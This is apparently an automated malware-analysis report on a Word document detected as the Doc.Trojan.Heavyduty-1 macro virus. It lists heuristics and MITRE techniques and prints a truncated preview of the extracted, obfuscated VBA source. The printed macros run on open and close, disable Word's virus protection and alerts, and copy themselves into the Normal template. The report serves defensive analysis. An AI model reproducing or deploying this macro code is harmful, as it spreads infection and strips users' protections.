MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing multiple VBA macros, including AutoOpen and Document_Open, which are commonly used to initiate malicious actions. The presence of the 'Doc.Trojan.Heavyduty-1' ClamAV detection strongly suggests malicious intent. The VBA code appears to be obfuscated, but the structure indicates it's designed to run automatically when the document is opened, likely to download and execute a further stage.
Heuristics 6
-
ClamAV: Doc.Trojan.Heavyduty-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Heavyduty-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5918 bytes |
SHA-256: 7c3a2d0eff7804ff9210710f1cad9ddf28c8f8495bccd45563a5924d8356671c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private _
Sub _
AUTOOPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOCLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXEC(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXIT(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTONEW(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_OPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_CLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_NEW(): _
Call _
VLAM: _
End _
Sub
Private _
Function _
T(STR)
For _
I _
= _
Asc(Mid(UCase(UCase(UCase(UCase("KKKK")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Int(1))) - _
74 _
To _
Len(STR)
P _
= _
P _
& _
Chr(Asc(Mid(STR, _
I, _
Fix(Fix(Fix(1))))) _
Xor _
Int(Int(Int(Int(Int(3))))))
Next
T _
= _
P
End _
Function
Private _
Sub _
VLAM()
On _
Error _
Resume _
Next
Set _
APP _
= _
Application.Options.Application.Options.Application
Set _
OPT _
= _
Options.Application.Options.Application.Options
Set _
ST1 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.VirusProtection
Set _
ST2 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SaveNormalPrompt
Set _
ST3 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayAlerts
Set _
ST4 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.EnableCancelKey
Set _
ST5 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayStatusBar
Set _
ST6 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.ShowVisualBasicEditor
Set _
SMA _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SendMailAttach
Set _
N _
= _
NormalTemplate
Set _
NV _
= _
N.VBProject
Set _
NVV _
= _
NV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
NVVC _
= _
NVV.CODEMODULE
Set _
a _
= _
ActiveDocument
Set _
AV _
= _
a.VBProject
Set _
AVV _
= _
AV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
AVVC _
= _
AVV.CODEMODULE
Set _
d _
= _
ThisDocument
Set _
DV _
= _
d.VBProject
Set _
DVV _
= _
DV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DVVC _
= _
DVV.CODEMODULE
Set _
NORN _
= _
NVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DOCN _
= _
AVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
SMA _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))
MYCODE _
= _
UCase(UCase(UCase(UCase(DVVC.LINES((Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))), _
400)))))
NAAM _
= _
UCase(UCase(UCase("HEAVYDUTY")))
ST1 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST2 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(I
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.